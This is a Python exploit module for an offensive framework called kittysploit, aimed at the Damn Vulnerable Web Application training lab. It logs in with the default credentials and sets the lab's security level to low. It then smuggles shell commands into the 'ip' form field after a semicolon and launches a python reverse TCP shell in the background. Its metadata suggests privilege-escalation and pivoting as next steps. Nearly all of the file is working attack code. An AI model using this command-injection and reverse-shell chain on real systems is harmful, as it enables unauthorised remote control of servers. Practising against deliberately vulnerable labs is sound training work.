Damn Vulnerable Web Application rce

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from bs4 import BeautifulSoup
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login

class Module(Exploit, Http_client, Http_login):

	__info__ = {
			"name": "Damn Vulnerable Web Application rce",
			"description": "Damn Vulnerable Web Application rce",
			"cve": "",
			"payload": {
				"default": "payloads/singles/cmd/unix/python_reverse_tcp",
				"platform": Platform.ALL,
				"arch": [Arch.X86, Arch.X64],
				"category": PayloadCategory.SINGLE,
				},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
		                               {'capability': 'shell', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
		                             'post/shell/multi/manage/pivot_autoroute']},
		},
		}

	# Lab default is admin/password (Http_login historically defaulted password=admin).
	username = OptString("admin", "DVWA username", required=False)
	password = OptString("password", "DVWA password", required=False)

	def _join_path(self, path):
		base = str(self.path or "/").strip() or "/"
		if not base.startswith("/"):
			base = f"/{base}"
		if base != "/" and base.endswith("/"):
			base = base[:-1]
		suffix = path if str(path).startswith("/") else f"/{path}"
		if base == "/":
			return suffix
		return f"{base}{suffix}"

	def get_token(self,source):
		soup = BeautifulSoup(source, "html.parser")
		field = soup.find('input', { "type" : "hidden" })
		if not field:
			return ""
		return field.get('value', '')

	def _login(self):
		login_path = self._join_path("/login.php")
		login = self.http_request(
				method="GET",
				path=login_path,
				session=True
				)
		if not login or not getattr(login, "text", ""):
			return None
		headers = {
			'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0)Gecko/20100101 Firefox/60.0',
			'Upgrade-Insecure-Requests': '1',
		}
		data = {
				"username"   : self.username,
				"password"   : self.password,
				"Login"      : "Login",
				"user_token" : self.get_token(login.text)
				}
		r = self.http_request(
				method="POST",
				path=login_path,
				data=data,
				headers=headers,
				session=True
			)
		if not r or 'Login failed' in (r.text or ''):
			self.login_failed()
			return None
		self.login_success()
		return r

	def _set_security_low(self):
		security_path = self._join_path("/security.php")
		page = self.http_request(method="GET", path=security_path, session=True)
		if not page or not getattr(page, "text", ""):
			return False
		token = self.get_token(page.text)
		data = {
			"security": "low",
			"seclev_submit": "Submit",
		}
		if token:
			data["user_token"] = token
		resp = self.http_request(
			method="POST",
			path=security_path,
			data=data,
			session=True,
		)
		return bool(resp)

	def _submit_exec(self, exec_path, token, injected_command, *, background=False):
		command = str(injected_command or "").strip()
		if background and command and not command.rstrip().endswith("&"):
			# Detach reverse shells so Apache/PHP does not reap the callback when
			# the HTTP request finishes.
			command = f"( {command} ) >/dev/null 2>&1 &"
		payload = {
			'ip': f'127.0.0.1; {command}',
			'Submit': 'Submit',
		}
		if token:
			payload['user_token'] = token
		return self.http_request(
			method="POST",
			path=exec_path,
			data=payload,
			session=True
		)

	def run(self):
		if not self._login():
			return False

		self._set_security_low()
		exec_path = self._join_path("/vulnerabilities/exec/")
		exec_page = self.http_request(method="GET", path=exec_path, session=True)
		if not exec_page or not getattr(exec_page, "text", ""):
			self.not_vulnerable()
			return False
		print_info(
			f"DVWA exec landing: requested={exec_path} "
			f"effective={self.response_effective_path(exec_path, exec_page)} "
			f"status={getattr(exec_page, 'status_code', 'unknown')}"
		)

		token = self.get_token(exec_page.text)
		verify_marker = f"KS_RCE_{self.random_text(8)}"
		verify = self._submit_exec(exec_path, token, f"echo {verify_marker}", background=False)
		if not verify:
			print_info("DVWA exec verification failed: empty or non-success HTTP response")
			self.not_vulnerable()
			return False
		if verify_marker not in (getattr(verify, "text", "") or ""):
			print_info(
				"DVWA exec verification did not return the injected marker; "
				"HTTP access works but command execution is not confirmed"
			)
			self.not_vulnerable()
			return False
		print_info(f"DVWA exec verification marker observed: {verify_marker}")

		print(self.payload)
		pwn = self._submit_exec(exec_path, token, self.payload, background=True)
		if not pwn:
			print_info("DVWA exec submit failed: empty or non-success HTTP response")
			self.not_vulnerable()
			return False
		print_info(
			f"DVWA exec submit: requested={exec_path} "
			f"effective={self.response_effective_path(exec_path, pwn)} "
			f"status={getattr(pwn, 'status_code', 'unknown')} "
			f"body_len={len(getattr(pwn, 'text', '') or '')}"
		)
		return True